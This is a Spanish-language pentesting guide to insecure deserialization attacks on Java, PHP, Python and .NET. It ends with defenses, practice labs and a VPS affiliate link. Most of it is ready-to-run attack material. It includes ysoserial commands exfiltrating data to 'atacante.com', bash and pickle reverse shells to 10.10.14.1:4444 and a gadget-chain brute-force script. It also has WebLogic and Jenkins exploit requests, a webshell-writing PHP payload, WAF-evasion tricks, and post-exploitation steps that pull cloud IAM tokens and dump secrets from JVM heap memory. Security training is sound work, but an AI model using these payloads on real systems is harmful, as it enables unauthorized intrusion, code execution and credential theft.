La deserialización insegura le ha dado RCE a atacantes en algunos de los entornos empresariales más protegidos del planeta: Apache, Jenkins, JBoss, WebLogic, Oracle y más. Un único objeto malformado puede eludir la autenticación, ejecutar código arbitrario o borrar toda la base de datos. Esta guía cubre detección, explotación, gadget chains y bypass de WAF para Java, PHP, Python y .NET en 2026.
¿Qué es la Deserialización?
La serialización convierte un objeto en memoria en un formato que puede almacenarse o transmitirse: bytes, JSON, XML, binario. La deserialización invierte el proceso: toma el formato almacenado y reconstruye el objeto.
Las aplicaciones usan serialización en todas partes:
- Cookies de sesión
- Cuerpos de solicitud/respuesta en APIs
- Colas de mensajes (Kafka, RabbitMQ)
- Cachés (Redis, Memcached)
- Objetos almacenados en bases de datos
- Comunicación entre procesos
El problema: cuando una aplicación deserializa datos de una fuente no confiable sin la validación adecuada, un atacante puede suministrar un objeto serializado malicioso que dispara comportamiento no intencionado durante la reconstrucción.
Por Qué la Deserialización Insegura Es Tan Peligrosa
Clasificada como OWASP A08:2021 — Fallas de Integridad de Software y Datos, la deserialización insegura es especialmente peligrosa porque:
- Pre-autenticación en muchos casos — la deserialización ocurre antes de que la aplicación verifique la identidad del usuario
- Ejecución durante la deserialización — el código se ejecuta mientras el objeto se reconstruye, antes de cualquier lógica de validación
- Gadget chains — los atacantes no necesitan código personalizado en el servidor; encadenan clases existentes ya cargadas en la JVM o el runtime
- Superficie de ataque amplia — cookies, cabeceras HTTP, cuerpos de solicitud, payloads en colas de mensajes, endpoints RMI
- Puntuaciones CVSS elevadas — la mayoría de los RCE por deserialización puntúan 9.0+ (crítico)
Vulnerabilidades explotadas destacadas:
- Apache Commons Collections — la gadget chain que sacudió internet en 2015
- Java RMI/JNDI — base de Log4Shell (CVE-2021-44228)
- WebLogic — múltiples CVEs críticos a lo largo de los años (CVE-2019-2725, CVE-2020-14882, etc.)
- Jenkins — CVE-2016-0792, deserialización Java via CLI
- JBoss — CVE-2015-7501, ejecución de código remoto sin autenticación
Detección
Paso 1 — Identificar Datos Serializados
Objetos serializados de Java comienzan con aced 0005 en hex (base64: rO0AB):
# Bytes en bruto
AC ED 00 05
# Codificado en base64
rO0ABXNy...
# Codificado en URL
%AC%ED%00%05
Búscalos en:
- Cookies (
JSESSIONID, cookies de sesión personalizadas) - Parámetros del cuerpo POST
- Cabeceras HTTP
- Parámetros ViewState (Java Server Faces)
Cadenas serializadas de PHP usan un formato legible:
O:8:"UserData":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
Python pickle binario comienza con \x80\x04 o bytes de protocolo más antiguo. Frecuentemente codificado en base64 en cookies o campos de API.
Objetos serializados de .NET pueden aparecer como:
- Binario en SOAP/XML:
AAEAAAD/////AQAAAAAAAAAMAgAAAF9... - ViewState: parámetro
__VIEWSTATEen formularios ASP.NET - JSON.NET con propiedad
$type:{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework",...}
Paso 2 — Probar con Objetos Modificados
Una vez identificado un objeto serializado:
- Captura la solicitud en Burp Suite
- Decodifica los datos serializados (base64, URL-decode según sea necesario)
- Envía al Decoder/Repeater de Burp
- Modifica valores para probar deserialización sin gadget chains primero
Prueba de detección de bajo riesgo: Cambia un valor de cadena y observa si la respuesta cambia. Si el servidor lanza un error de deserialización (stack trace, error 500), la deserialización está confirmada.
Extensiones de Burp Suite para detección:
- Java Deserialization Scanner — detecta sinks de deserialización Java, prueba múltiples gadget chains
- GadgetProbe — identifica qué bibliotecas gadget están disponibles
- Plugins de integración con ysoserial — automatizan la generación de payloads
Paso 3 — Usar Herramientas Automatizadas
# Java: usar ysoserial para generar payloads de prueba
java -jar ysoserial.jar CommonsCollections1 "nslookup your.burpcollaborator.net" > payload.ser
# Envíalo y espera el callback DNS
Un callback DNS confirma RCE ciego por deserialización incluso sin salida visible.
Deserialización Java
Entendiendo las Gadget Chains
Los exploits de deserialización Java funcionan encadenando readObject(), hashCode(), equals(), compareTo() y métodos similares en clases de bibliotecas existentes. Estas cadenas —gadget chains— eventualmente llaman a Runtime.exec() o equivalente.
El requisito: la clase vulnerable debe estar en el classpath. Bibliotecas comunes que proveen gadget chains explotables:
| Biblioteca | Gadget | Notas |
|---|---|---|
| Commons Collections 3.x | CC1, CC2, CC3, CC4, CC5, CC6, CC7 | La más común; Apache Commons |
| Commons Collections 4.x | CC2, CC4 | Jerarquía de clases diferente |
| Commons BeanUtils | CB1 | Funciona sin CC3 en classpath |
| Spring Framework | Spring1, Spring2 | Aplicaciones basadas en Spring |
| Groovy | Groovy1 | Jenkins, aplicaciones con Groovy |
| JRMPClient | JRMP | Deserialización RMI, dispara lookup JNDI |
| Hibernate | Hibernate1, Hibernate2 | Biblioteca ORM |
| AspectJWeaver | AsJWeaver | Escritura arbitraria de archivos |
| Mozilla Rhino | Rhino | Motor JS embebido en Java |
ysoserial
ysoserial es la herramienta estándar para generar payloads de deserialización Java.
# Descargar
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Listar payloads disponibles
java -jar ysoserial-all.jar
# Generar payload para ejecución de comandos
java -jar ysoserial-all.jar CommonsCollections1 "id" > payload.ser
java -jar ysoserial-all.jar CommonsCollections6 "curl https://atacante.com/$(id|base64)" > payload.ser
# Reverse shell
java -jar ysoserial-all.jar CommonsCollections1 \
"bash -c {bash,-i,>&,/dev/tcp/10.10.14.1/4444,0>&1}" > payload.ser
# Codificar en base64 para usar en cookies/cabeceras
java -jar ysoserial-all.jar CommonsCollections6 "id" | base64 -w 0 > payload.b64
# Enviar vía curl
curl -b "session=$(cat payload.b64)" https://objetivo.com/app
¿No sabes qué gadget chain usar? Pruébalas todas:
#!/bin/bash
CHAINS=("BeanShell1" "C3P0" "CB1" "Clojure" "CommonsBeanutils1" "CommonsCollections1" \
"CommonsCollections2" "CommonsCollections3" "CommonsCollections4" \
"CommonsCollections5" "CommonsCollections6" "CommonsCollections7" \
"Groovy1" "Hibernate1" "Hibernate2" "JBossInterceptors1" \
"JRMPClient" "JRMPListener" "JSON1" "JavassistWeld1" \
"Jdk7u21" "Jython1" "MozillaRhino1" "MozillaRhino2" \
"Myfaces1" "Myfaces2" "ROME" "Rome" "Spring1" "Spring2" \
"URLDNS" "Vaadin1" "Wicket1")
for CHAIN in "${CHAINS[@]}"; do
echo "[*] Probando $CHAIN"
java -jar ysoserial-all.jar "$CHAIN" "nslookup ${CHAIN}.tu.burp-collaborator.net" 2>/dev/null | \
curl -s -X POST https://objetivo.com/endpoint \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @- -o /dev/null -w "HTTP %{http_code}\n"
done
Observa Burp Collaborator para los callbacks DNS — la chain que se dispara indica qué biblioteca está disponible.
GadgetProbe
GadgetProbe identifica clases disponibles sin necesitar RCE:
# Generar sondas para Burp Collaborator
java -jar GadgetProbe.jar commonsCollections3.1 \
"tu.burp-collaborator.net" > probes/
# Cada sonda dispara DNS si la clase objetivo está cargada
# Lee resultados en Collaborator para identificar gadget chains disponibles
Ataque a WebLogic (CVE-2019-2725 / CVE-2020-14882)
El protocolo T3 de WebLogic (puerto por defecto 7001) es un blanco favorito. El protocolo T3 deserializa objetos por defecto.
# Verificar WebLogic
curl -k https://objetivo.com:7001/console
curl -k https://objetivo.com:7001/_async/AsyncResponseService
# Explotar CVE-2019-2725 con ysoserial
python exploit_weblogic.py objetivo.com 7001 "id"
# CVE-2020-14882 — bypass de autenticación + RCE
curl -k 'https://objetivo.com:7001/console/images/%252E%252E%252Fconsole.portal' \
-d "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\\"Runtime.getRuntime().exec('id');\\")"
Deserialización en Jenkins CLI (CVE-2016-0792)
# Jenkins antes de 1.651.2 / 2.3
# Puerto CLI: típicamente 50000 (JNLP) o vía HTTP
java -jar ysoserial-all.jar Groovy1 "id" > payload.ser
# Usar jenkins-cli para enviar
java -jar jenkins-cli.jar -s http://objetivo.com/ who-am-i \
--username '' --password '' \
< payload.ser
Detectar Deserialización Java con Burp
- Instala la extensión Java Deserialization Scanner (Burp BApp Store)
- Clic derecho en cualquier solicitud → Extensions → Java Deserialization Scanner → Actively scan
- El scanner difumina parámetros serializados con todas las gadget chains comunes y callbacks OOB
- Revisa Collaborator para callbacks DNS/HTTP
Deserialización PHP
Inyección de Objetos PHP
La función unserialize() de PHP es el sink. Cuando datos controlados por el usuario llegan a unserialize(), el atacante controla la reconstrucción del objeto. Los magic methods de PHP se invocan automáticamente durante la deserialización:
| Magic Method | Se dispara cuando |
|---|---|
__wakeup() | El objeto se deserializa |
__destruct() | El objeto se recolecta como basura |
__toString() | El objeto se usa como cadena |
__call() | Se llama un método inexistente |
__get() | Acceso a propiedad indefinida |
__set() | Asignación a propiedad indefinida |
__isset() | isset() llamado en propiedad indefinida |
Construcción de Cadenas POP
Las cadenas POP (Programación Orientada a Propiedades) enlazan magic methods para llegar a sinks peligrosos como eval(), system(), file_put_contents(), include(), etc.
Código vulnerable de ejemplo:
<?php
class Logger {
private $log_file;
private $log_data;
public function __destruct() {
file_put_contents($this->log_file, $this->log_data);
}
}
$data = base64_decode($_COOKIE['session']);
$obj = unserialize($data);
Exploit — escribir un webshell:
<?php
class Logger {
private $log_file = '/var/www/html/shell.php';
private $log_data = '<?php system($_GET["cmd"]); ?>';
}
$payload = serialize(new Logger());
echo base64_encode($payload);
// Establece como cookie de sesión, dispara solicitud, luego visita /shell.php?cmd=id
PHPGGC — Generador de Gadget Chains PHP
PHPGGC es el equivalente PHP de ysoserial — una biblioteca de cadenas POP preconstruidas para frameworks comunes.
# Instalar
git clone https://github.com/ambionics/phpggc
# Listar chains disponibles
php phpggc -l
# Listar chains para un framework específico
php phpggc -l Laravel
php phpggc -l Symfony
# Generar payload
php phpggc Laravel/RCE1 system 'id'
php phpggc Symfony/RCE4 system 'id'
# Salida en base64
php phpggc -b Laravel/RCE1 system 'id'
# Escribir webshell
php phpggc Laravel/RCE1 file_put_contents '/var/www/html/shell.php' '<?php system($_GET["cmd"]); ?>'
Chains de frameworks comunes:
| Framework | Chain | Sink |
|---|---|---|
| Laravel | Laravel/RCE1–9 | system(), eval() |
| Symfony | Symfony/RCE1–7 | system(), escritura de archivos |
| Yii | Yii/RCE1–2 | eval() |
| Guzzle | Guzzle/RCE1 | SSRF luego RCE |
| Monolog | Monolog/RCE1–8 | system(), exec() |
| Zend Framework | ZendFramework/RCE1 | system() |
| Doctrine | Doctrine/RCE1 | Ejecución SQL |
| CakePHP | CakePHP/RCE1 | Escritura de archivos |
Confusión de Tipos PHP con Serialización
Más allá de las gadget chains, la comparación flexible de PHP puede causar bypasses de autenticación:
// Vulnerable — comparación de hash MD5
if (unserialize($_COOKIE['auth'])['hash'] == md5($secret)) {
// autenticado
}
En PHP, si md5() retorna un hash que comienza con 0e (magic hash), es igual a 0 numéricamente. Suministra un objeto serializado donde el valor del hash es 0 o 0e[dígitos] para hacer bypass.
Bypass de __wakeup() (CVE-2016-7124)
En PHP < 5.6.25 y < 7.0.10, si un objeto serializado declara más propiedades de las definidas, __wakeup() se omite:
# Objeto normal con 1 propiedad
O:4:"User":1:{s:4:"name";s:5:"admin";}
# Modificado: declara 2 propiedades — __wakeup() NO se llama
O:4:"User":2:{s:4:"name";s:5:"admin";}
Útil cuando __wakeup() restablece propiedades críticas de seguridad que usa __destruct().
Deserialización Python (Pickle)
El módulo pickle de Python es el mecanismo de deserialización más peligroso — ejecuta código arbitrario por diseño. Cualquier objeto que implemente __reduce__ puede ejecutar comandos del sistema cuando se deserializa.
Exploit
import pickle
import os
import base64
class RCE:
def __reduce__(self):
return (os.system, ('id',))
# Generar payload
payload = base64.b64encode(pickle.dumps(RCE()))
print(payload)
Payload de reverse shell:
import pickle, os, base64
class Shell:
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"',))
payload = base64.b64encode(pickle.dumps(Shell())).decode()
print(payload)
Enviarlo:
# Si va en una cookie
curl -b "session=$(python3 gen_payload.py)" https://objetivo.com/dashboard
# Si va en un parámetro POST
curl -X POST https://objetivo.com/api/data \
-d "data=$(python3 gen_payload.py)"
Objetivos Reales de Pickle
- Sesiones Flask usando
itsdangerouscon backendpickle(mala configuración) - Celery colas de tareas cuando pickle es el serializador (era el default antes de la versión 4.0)
- Redis objetos en caché cuando se usa
picklepara serialización - Scikit-learn / modelos ML — archivos
.pklde fuentes no confiables ejecutan código al cargar - Joblib — biblioteca de procesamiento paralelo que usa pickle
Deserialización en NumPy/PyTorch
La deserialización en Python no se limita a pickle:
# Los archivos PyTorch .pt/.pth ejecutan código arbitrario al cargar
import torch
model = torch.load('modelo_malicioso.pt') # RCE
# NumPy .npy / .npz con objetos pickle
import numpy as np
arr = np.load('malicioso.npy', allow_pickle=True) # RCE
Esto es cada vez más relevante para ataques a la cadena de suministro ML — distribuir “pesos de modelo” maliciosos que ejecutan código al cargar.
Deserialización .NET
BinaryFormatter / SoapFormatter
BinaryFormatter y SoapFormatter son los sinks de deserialización clásicos de .NET. Ambos están marcados como obsoletos en .NET 5+ por seguridad, pero permanecen en aplicaciones legadas.
Clases peligrosas:
ObjectDataProvider— invoca métodos arbitrarios en objetos arbitrariosWindowsIdentity— dispara LDAP/KerberosActivitySurrogateSelector— compila y ejecuta códigoTypeConfuseDelegate— delega a métodos arbitrarios
ysoserial.net
ysoserial.net es el equivalente .NET:
# Listar gadget chains
ysoserial.exe -l
# Payload BinaryFormatter (ej. ViewState)
ysoserial.exe -f BinaryFormatter -g ObjectDataProvider -c "cmd /c whoami"
# JSON.NET con vulnerabilidad TypeNameHandling.All
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami"
# Explotación de ViewState (ASP.NET WebForms)
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
--validationalg="SHA1" \
--validationkey="[MACHINEKEY]" \
-c "cmd /c whoami"
Explotación de $type en JSON.NET
Cuando JsonSerializerSettings.TypeNameHandling está configurado como All u Objects, los atacantes pueden especificar tipos .NET arbitrarios mediante la propiedad $type:
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd", "/c calc.exe"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
Explotación de ViewState en ASP.NET
ASP.NET WebForms usa ViewState — un blob codificado en base64, opcionalmente firmado con HMAC, almacenado en __VIEWSTATE. Si puedes obtener la machineKey (desde web.config filtrado, path traversal, etc.), puedes forjar un payload ViewState malicioso.
# Una vez que tienes la machine key, genera el ViewState malicioso
ysoserial.exe -p ViewState \
--validationalg="SHA1" \
--validationkey="TU_MACHINE_KEY" \
--viewstateuserkey="valor_ASP.NET_SessionId" \
-g TextFormattingRunProperties \
-c "cmd /c powershell -e COMANDOENCODEADO"
Técnicas de Bypass de WAF
Para Java
Aleatoriza la selección de gadget chain: Si una chain está bloqueada por firma, otra puede no estarlo.
Codifica el payload:
# Gzip + base64
java -jar ysoserial-all.jar CommonsCollections6 "id" | gzip | base64 -w 0
# Si la aplicación descomprime antes de deserializar, esto evita la inspección de contenido
Usa payloads solo-DNS para detección (sin firmas WAF de ejecución de comandos):
java -jar ysoserial-all.jar URLDNS "http://tu.collaborator.net" > payload.ser
Fragmenta en múltiples solicitudes cuando el WAF inspecciona payloads individuales pero no chunks reensamblados (HTTP chunked encoding).
Para PHP
Inyección de byte nulo en nombres de clases:
O:4:"User":1:{s:4:"\x00*\x00name";s:5:"admin";}
Métodos personalizados __serialize() / __unserialize() (PHP 7.4+) pueden eludir filtros que apuntan al formato antiguo.
Manipulación de cadenas para evitar detección:
$payload = str_replace('system', 'sys'.'tem', $payload_base);
Para Python Pickle
import pickle, os
class RCE:
def __reduce__(self):
cmd = 'id'
return eval, (f'__import__("os").popen("{cmd}").read()',)
payload = pickle.dumps(RCE())
Reconstruye el payload byte por byte para evadir firmas de inspección de contenido.
Post-Explotación
Una vez que tienes RCE via deserialización, aplica la post-explotación estándar — pero sé consciente del entorno:
Verificaciones de contenedor:
cat /proc/1/cgroup # Verificar si estás en un contenedor
ls /.dockerenv # Indicador de Docker
env | grep -i kube # Entorno Kubernetes
Cuenta de servicio / IAM:
# AWS IMDS (si está en EC2/ECS)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Metadatos GCP
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
Pivot hacia secretos de la aplicación:
find / -name "*.properties" -o -name "*.yml" -o -name "*.yaml" -o -name "web.config" 2>/dev/null | head -20
grep -r "password\|secret\|key\|token" /etc/ /opt/ /app/ 2>/dev/null | grep -v Binary
Volcado de heap JVM (Java — obtener secretos en memoria):
jmap -dump:format=b,file=/tmp/heap.bin $(pgrep java)
# Transfiere y analiza con Eclipse MAT o strings
strings /tmp/heap.bin | grep -i "password\|secret\|token"
CVEs del Mundo Real
CVE-2015-4852 — Oracle WebLogic (Apache Commons)
La vulnerabilidad que expuso el problema de las gadget chains al mundo. El protocolo T3 de WebLogic deserializaba objetos ciegamente, y con Apache Commons Collections 3.1 en el classpath, se lograba RCE completo sin autenticación.
CVSS: 9.8. Afectado: WebLogic Server 10.3.6, 12.1.2, 12.1.3, 12.2.1.
CVE-2021-44228 — Log4Shell
La búsqueda JNDI de Log4j encadenaba deserialización Java a través de LDAP. Un mensaje de log ${jndi:ldap://atacante.com/exploit} disparaba la descarga de un payload deserializado. Una de las vulnerabilidades más explotadas de la historia.
CVSS: 10.0. Afectado: Log4j 2.0-beta9 hasta 2.14.1.
CVE-2022-22965 — Spring4Shell
RCE en Spring Framework via data binding — manipulación de propiedades que permite acceso al class loader. Combinado con Apache Tomcat, logra RCE. CVSS: 9.8.
CVE-2023-46604 — Apache ActiveMQ
Deserialización Java via protocolo OpenWire (puerto 61616). RCE sin autenticación. CVSS: 10.0. Explotado activamente por grupos de ransomware incluyendo HelloKitty dentro de las primeras 48 horas de la divulgación.
# Verificar ActiveMQ expuesto
nmap -p 61616 objetivo.com -sV
Laboratorios de Práctica
- TryHackMe — sala “Insecure Deserialization” (Java y PHP)
- Hack The Box — múltiples máquinas usan deserialización Java/PHP (Arkham - Java, Cereal - .NET)
- PortSwigger Web Security Academy — laboratorios dedicados de deserialización con PHP y Java, desafíos guiados y no guiados (gratuito)
- DVJA (Damn Vulnerable Java Application) — ejecución local para práctica de deserialización Java
- WebGoat — aplicación de entrenamiento vulnerable de OWASP, incluye módulo de deserialización insegura
Levanta un VPS de práctica para ejecutar estos laboratorios sin contaminar tu sistema principal.
👉 VPS en Vultr desde $6/mes — instancias SSD disponibles en 60 segundos, perfectas para ejecutar WebGoat, DVJA o stacks Docker vulnerables intencionalmente.
Defensa: Cómo Arreglarlo de Verdad
1. No deserialices datos no confiables
La única corrección 100% confiable. Si controlas ambos extremos de la serialización (cachés internas, colas internas), usa formatos más seguros como JSON o MessagePack.
2. Usa bibliotecas de serialización seguras
| Lenguaje | Evita | Usa en cambio |
|---|---|---|
| Java | ObjectInputStream directamente | Usa ObjectInputFilter, firma/cifra payloads, o cambia a JSON |
| PHP | unserialize() con entrada de usuario | json_decode(), o valida con allowed_classes |
| Python | pickle con datos no confiables | json, msgpack, o ast.literal_eval() para tipos simples |
| .NET | BinaryFormatter, SoapFormatter | System.Text.Json, XmlSerializer con restricciones |
3. Java ObjectInputFilter (lista de permitidos)
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(info -> {
Class<?> clazz = info.serialClass();
if (clazz == null) return ObjectInputFilter.Status.UNDECIDED;
if (clazz == MiClaseEsperada.class) return ObjectInputFilter.Status.ALLOWED;
return ObjectInputFilter.Status.REJECTED;
});
4. PHP allowed_classes
// Solo permitir clases específicas
$obj = unserialize($data, ['allowed_classes' => ['ClaseSegura', 'OtraClaseSegura']]);
// Bloquear toda instanciación de clases
$obj = unserialize($data, ['allowed_classes' => false]);
5. Firma criptográfica
Firma los datos serializados antes de almacenar/transmitir. Verifica la firma antes de deserializar. Previene la manipulación pero no corrige el riesgo subyacente si la clave se compromete.
6. Monitorea indicadores de gadget chains conocidas
Configura alertas para:
aced0005(bytes mágicos serializados Java) en cuerpos/cookies HTTPO:seguido de nombres de clases en cookies (PHP serializado)rO0AB(Java serializado base64) en parámetros HTTP- Nombres de clases gadget conocidos en stack traces
Cheatsheet de Deserialización
| Lenguaje | Sink | Detección | Herramienta | Gadget/Sink Común |
|---|---|---|---|---|
| Java | ObjectInputStream.readObject() | AC ED 00 05 / rO0AB | ysoserial | CommonsCollections, Spring |
| PHP | unserialize() | O:N:"NombreClase":... | PHPGGC | Laravel/RCE, Symfony/RCE |
| Python | pickle.loads() | \x80\x04\x95 | Manual | __reduce__() → os.system |
| .NET | BinaryFormatter.Deserialize() | AAEAAAD / ViewState | ysoserial.net | ObjectDataProvider |
| Ruby | Marshal.load() | \x04\x08 | universal-deserializer-gadgets | Gadget universal |
| Node.js | node-serialize / serialize-javascript | {"rce":"_$$ND_FUNC$$_function..."} | Manual | Inyección IIFE |
¿Qué Sigue?
La deserialización insegura se ubica en el panorama más amplio del ataque web:
- Guía de Ataques SSTI 2026 — ejecución de código en el servidor vía motores de plantillas
- Guía de Inyección de Comandos 2026 — técnicas de inyección a nivel de sistema operativo
- Guía de Ataques XXE 2026 — inyección de entidades externas XML que lleva a SSRF y lectura de archivos
- Guía de Ataques SSRF 2026 — server-side request forgery hacia infraestructura interna
Todo parte de la Serie de Pentesting de Aplicaciones Web .
¿Necesitas contenido de seguridad de nivel profesional para tu equipo o plataforma? CipherWrite entrega artículos técnicos, guías y documentación de seguridad escritos por profesionales, que aguantan el escrutinio de cualquier experto.
